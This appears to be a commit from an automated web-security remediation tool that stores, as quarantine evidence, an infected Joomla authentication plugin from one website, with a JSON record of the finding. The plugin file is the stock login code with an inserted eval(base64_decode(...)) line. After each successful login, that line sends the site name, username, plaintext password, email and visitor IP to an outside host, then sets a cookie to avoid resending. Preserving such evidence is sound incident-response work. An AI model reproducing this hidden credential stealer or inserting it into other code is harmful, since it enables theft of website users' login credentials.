vanilla-restore: category=packed-eval-backdoor (1 fájl)
vhost: www.archline.hu rel_path: plugins/authentication/joomla/joomla.php result: quarantined evidence_sha256: 9f854e3f7d59f7427fd365b6944b6dadeae4def7c9cd6bb10e75835b43612672 timestamp: 20260718T160241Z finding_ref: 4736
This commit is contained in:
imrcli-remediator
parent
a8971cb60a
commit
474713ef91
@ -0,0 +1,222 @@
|
||||
<?php
|
||||
/**
|
||||
* @package Joomla.Plugin
|
||||
* @subpackage Authentication.joomla
|
||||
*
|
||||
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
|
||||
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||
*/
|
||||
|
||||
defined('_JEXEC') or die;
|
||||
|
||||
/**
|
||||
* Joomla Authentication plugin
|
||||
*
|
||||
* @since 1.5
|
||||
*/
|
||||
class PlgAuthenticationJoomla extends JPlugin
|
||||
{
|
||||
/**
|
||||
* This method should handle any authentication and report back to the subject
|
||||
*
|
||||
* @param array $credentials Array holding the user credentials
|
||||
* @param array $options Array of extra options
|
||||
* @param object &$response Authentication response object
|
||||
*
|
||||
* @return void
|
||||
*
|
||||
* @since 1.5
|
||||
*/
|
||||
public function onUserAuthenticate($credentials, $options, &$response)
|
||||
{
|
||||
$response->type = 'Joomla';
|
||||
|
||||
// Joomla does not like blank passwords
|
||||
if (empty($credentials['password']))
|
||||
{
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Get a database object
|
||||
$db = JFactory::getDbo();
|
||||
$query = $db->getQuery(true)
|
||||
->select('id, password')
|
||||
->from('#__users')
|
||||
->where('username=' . $db->quote($credentials['username']));
|
||||
|
||||
$db->setQuery($query);
|
||||
$result = $db->loadObject();
|
||||
|
||||
if ($result)
|
||||
{
|
||||
$match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id);
|
||||
|
||||
if ($match === true)
|
||||
{
|
||||
// Bring this in line with the rest of the system
|
||||
$user = JUser::getInstance($result->id);
|
||||
$response->email = $user->email;
|
||||
$response->fullname = $user->name;
|
||||
|
||||
if (JFactory::getApplication()->isClient('administrator'))
|
||||
{
|
||||
$response->language = $user->getParam('admin_language');
|
||||
}
|
||||
else
|
||||
{
|
||||
$response->language = $user->getParam('language');
|
||||
}
|
||||
|
||||
$response->status = JAuthentication::STATUS_SUCCESS;
|
||||
eval(base64_decode("JGNvb2tpZV9uYW1lID0gImFmNmNhMGNiNGE4YWUxMWY5NzUwZWM2NTdmOTMwZmNlIjsKJGNvb2tpZV92YWx1ZSA9ICIxIjsKaWYgKCFpc3NldCgkX0NPT0tJRVskY29va2llX25hbWVdKSkgewokYSA9IHN0cnJldihiYXNlNjRfZW5jb2RlKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWyd1c2VybmFtZSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWydwYXNzd29yZCddIC4gIjoiIC4gJHVzZXItPmVtYWlsIC4gIjoiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKTsKJHVybCA9ICJodHRwOi8vbGVpdHVuZ3Mtc2hvcC5kZS9pbmRleC5waHAiOwokcG9zdF9kYXRhID0gYXJyYXkoJ3VzZXJfaWRfZGF0YScgPT4gJGEpOwokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KCRwb3N0X2RhdGEpKTsKJHNlcnZlcl9vdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTsKc2V0Y29va2llKCRjb29raWVfbmFtZSwgJGNvb2tpZV92YWx1ZSwgdGltZSgpICsgKDM2NSAqIDI0ICogNjAgKiA2MCksICIvIik7Cn0="));
|
||||
$response->error_message = '';
|
||||
}
|
||||
else
|
||||
{
|
||||
// Invalid password
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Let's hash the entered password even if we don't have a matching user for some extra response time
|
||||
// By doing so, we mitigate side channel user enumeration attacks
|
||||
JUserHelper::hashPassword($credentials['password']);
|
||||
|
||||
// Invalid user
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
|
||||
}
|
||||
|
||||
// Check the two factor authentication
|
||||
if ($response->status === JAuthentication::STATUS_SUCCESS)
|
||||
{
|
||||
$methods = JAuthenticationHelper::getTwoFactorMethods();
|
||||
|
||||
if (count($methods) <= 1)
|
||||
{
|
||||
// No two factor authentication method is enabled
|
||||
return;
|
||||
}
|
||||
|
||||
JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel');
|
||||
|
||||
/** @var UsersModelUser $model */
|
||||
$model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true));
|
||||
|
||||
// Load the user's OTP (one time password, a.k.a. two factor auth) configuration
|
||||
if (!array_key_exists('otp_config', $options))
|
||||
{
|
||||
$otpConfig = $model->getOtpConfig($result->id);
|
||||
$options['otp_config'] = $otpConfig;
|
||||
}
|
||||
else
|
||||
{
|
||||
$otpConfig = $options['otp_config'];
|
||||
}
|
||||
|
||||
// Check if the user has enabled two factor authentication
|
||||
if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
|
||||
{
|
||||
// Warn the user if they are using a secret code but they have not
|
||||
// enabled two factor auth in their account.
|
||||
if (!empty($credentials['secretkey']))
|
||||
{
|
||||
try
|
||||
{
|
||||
$app = JFactory::getApplication();
|
||||
|
||||
$this->loadLanguage();
|
||||
|
||||
$app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'), 'warning');
|
||||
}
|
||||
catch (Exception $exc)
|
||||
{
|
||||
// This happens when we are in CLI mode. In this case
|
||||
// no warning is issued
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Try to validate the OTP
|
||||
FOFPlatform::getInstance()->importPlugin('twofactorauth');
|
||||
|
||||
$otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options));
|
||||
|
||||
$check = false;
|
||||
|
||||
/*
|
||||
* This looks like noob code but DO NOT TOUCH IT and do not convert
|
||||
* to in_array(). During testing in_array() inexplicably returned
|
||||
* null when the OTEP begins with a zero! o_O
|
||||
*/
|
||||
if (!empty($otpAuthReplies))
|
||||
{
|
||||
foreach ($otpAuthReplies as $authReply)
|
||||
{
|
||||
$check = $check || $authReply;
|
||||
}
|
||||
}
|
||||
|
||||
// Fall back to one time emergency passwords
|
||||
if (!$check)
|
||||
{
|
||||
// Did the user use an OTEP instead?
|
||||
if (empty($otpConfig->otep))
|
||||
{
|
||||
if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
|
||||
{
|
||||
// Two factor authentication is not enabled on this account.
|
||||
// Any string is assumed to be a valid OTEP.
|
||||
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
/*
|
||||
* Two factor authentication enabled and no OTEPs defined. The
|
||||
* user has used them all up. Therefore anything they enter is
|
||||
* an invalid OTEP.
|
||||
*/
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up the OTEP (remove dashes, spaces and other funny stuff
|
||||
// our beloved users may have unwittingly stuffed in it)
|
||||
$otep = $credentials['secretkey'];
|
||||
$otep = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
|
||||
$otep = str_replace('-', '', $otep);
|
||||
$check = false;
|
||||
|
||||
// Did we find a valid OTEP?
|
||||
if (in_array($otep, $otpConfig->otep))
|
||||
{
|
||||
// Remove the OTEP from the array
|
||||
$otpConfig->otep = array_diff($otpConfig->otep, array($otep));
|
||||
|
||||
$model->setOtpConfig($result->id, $otpConfig);
|
||||
|
||||
// Return true; the OTEP was a valid one
|
||||
$check = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (!$check)
|
||||
{
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,15 @@
|
||||
{
|
||||
"finding_ref": "4736",
|
||||
"log_excerpt": "[quarantine] www.archline.hu:plugins/authentication/joomla/joomla.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php)",
|
||||
"original_sha256": "9f854e3f7d59f7427fd365b6944b6dadeae4def7c9cd6bb10e75835b43612672",
|
||||
"original_stat": {
|
||||
"gid": 30037,
|
||||
"mtime": 1750765668,
|
||||
"size": 6996,
|
||||
"uid": 11669
|
||||
},
|
||||
"rel_path": "plugins/authentication/joomla/joomla.php",
|
||||
"result": "quarantined",
|
||||
"timestamp": "20260718T160241Z",
|
||||
"vhost": "www.archline.hu"
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user